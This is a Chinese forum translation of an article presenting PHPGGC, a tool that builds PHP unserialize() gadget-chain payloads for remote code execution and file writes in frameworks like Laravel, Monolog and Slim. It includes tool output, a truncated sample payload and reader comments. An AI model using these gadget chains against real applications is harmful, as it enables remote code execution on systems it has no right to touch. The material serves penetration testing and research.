

unserialize函数的现状

因为恶意的输入，unserialize函数的使用一直令人诟病，使用unserialize算是个存个存在多年的漏洞了。所以许多cms和框架已经明令禁止了，取而代之的是json_decode

黑暗中寻找gadget

对于渗透测试人员来说，如果发现了反序列化数据的方法，那剩下的问题就是找到正确的gadgets。如果不知道应用源码，那只能转向使用二进制的exp，这可能非常耗时

越来越多的web开发者选择使用框架而不是从零开始编写所有内容。常见的框架有Laravel、Symfony、Zend、Code Igniter等等。

结合开发中的实际情况（比如说php的自动加载机制经常被使用，文件之间的依赖通过composer.json来管理）考虑下，在对环境不了解情况下，成功的利用unserialize

建立gadget"军火库"

因为黑暗中探索非常费时间，所以我们建立了一个gadget chain库，它和java的反序列化利用工具库[ysoserial](#)相似。我们投入了时间去研究每个主流php框架并为之构建了RCE或文件。

让我们访问下[PHPGGC](#)（这是一个unserialize()攻击载荷的库，也可以说一款能够通过命令行或编程生成反序列攻击载荷的工具）。PHPGGC的使用非常简单，你只需要chain，然后指定你想执行的命令，攻击载荷就生成了。

我们已经为以下这些框架更新了最新的攻击载荷：

- Laravel
- Symfony
- SwiftMailer
- Monolog
- SlimPHP
- Doctrine
- Guzzle

你可以通过下面的命令列出攻击载荷：

```
$ ./phpggc -l

Gadget Chains
-----

[...]

Name      : Guzzle/FW1
Version   : 6.0.0 <= 6.3.0
Type      : file_write
Vector    : __destruct

Name      : Laravel/RCE1
Version   : 5.4.27
Type      : rce
Vector    : __destruct

Name      : Monolog/RCE1
Version   : 1.18 <= 1.23
Type      : rce
Vector    : __destruct

Name      : Monolog/RCE2
Version   : 1.5 <= 1.17
Type      : rce
Vector    : __destruct

Name      : Slim/RCE1
Version   : 3.8.1
```

```
Type      : rce
Vector    : __toString

Name      : SwiftMailer/FW1
Version   : 5.1.0 <= 5.4.8
Type      : file_write
Vector    : __toString
```

[...]

接着通过这个命令生成攻击载荷:

```
$ ./phpggc slim/rcel 'phpinfo();'
O:18:"Slim\Http\Response":2:{s:10:"**headers";O:8:"Slim\App":1:{s:19:"Slim\Appcontainer";O:14:"Slim\Container":3:{s:21:"Pimple\
```

该工具还有许多其他可选项,详情可参阅README文件。因为PHPGGC已经完成,所以构建你自己的gadget chains是很容易和直接的。同时你也可以通过pull请求来为其贡献代码,或者通过github的issue向我们反馈或提bug。

现在,让我们来看如何使用这个工具的例子。

例子:利用Piwik最新的对象注入漏洞

去年八月初,Egidio

Romano在Piwik(版本低于2.16.0)中发现一个漏洞,该漏洞允许调用unserialize()函数。然而,他并没有给出攻击载荷。因为Piwik使用了Symfony, Zend, and Monolog,所以有效攻击载荷非常容易构建。

这里示例选择了Monolog攻击载荷,命令如下:

接着将攻击载荷写入到正确的位置,我们获得了phpinfo信息:

你可以在github上找到[PHPGGC](#)这款工具。

参考

[原文](#)

[rop](#) gadget出处在这。

[introduction-to-return-oriented-programming-rop](#)

[rop attack](#)

gadget: A 'gadget' is a fragment of executable code already existing in the memory of a target system which a hostile program hijacks and exploits for its own purposes

如能较好的将gadget和gadget chain译为中文术语,请私信我。

点击收藏 | 1 关注 | 1

[上一篇: 狗汪汪玩转无线电——GPS Hac...](#) [下一篇: 【译】黑夜的猎杀-盲打XXE](#)

1. 8 条回复



2017-07-08 03:43:10

译者注

关于这款工具的使用,其实有几个点要注意:

1. 在前端找到可疑输入点(后台可能调用了unserialize函数处理输入)
2. 已知后台php采用的框架(未知只能一个个试了)
3. 使用PHPGGC生成payload进行验证

如有成功的,可以post图片来看看。

0 回复Ta



[simeon](#) 2017-07-08 04:07:38

学习了

0 回复Ta



[c0de](#) 2017-07-08 05:54:20

学习了

0 回复Ta



[xxlegend](#) 2017-07-11 04:04:45

这个工具很吊，原先的一些比较利用条件苛刻的poc可以大显身手

0 回复Ta



[cryin](#) 2017-07-11 05:32:38

不错，确实算是军火库，这个让我想起以前windows下漏洞利用技术jmp esp，pop pop ret，ret2lib。只要找漏洞，利用的东西都现成的。php的像SugarCRM、vbulletin 这种有过漏洞的都可以添加进去。。

0 回复Ta



[2017-07-11 13:47:31](#)

• 。-，一脸懵逼.gif。看样子是老司机一枚

0 回复Ta



[2017-07-11 13:48:09](#)

有成功demo或者url么，来一发可好？

0 回复Ta



[xxlegend](#) 2017-07-24 05:41:11

历史的cve就有的，感兴趣的可以自己试试

0 回复Ta

[登录](#) 后跟帖

先知社区

[现在登录](#)

[技术文章](#)

[社区小黑板](#)

[目录](#)

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)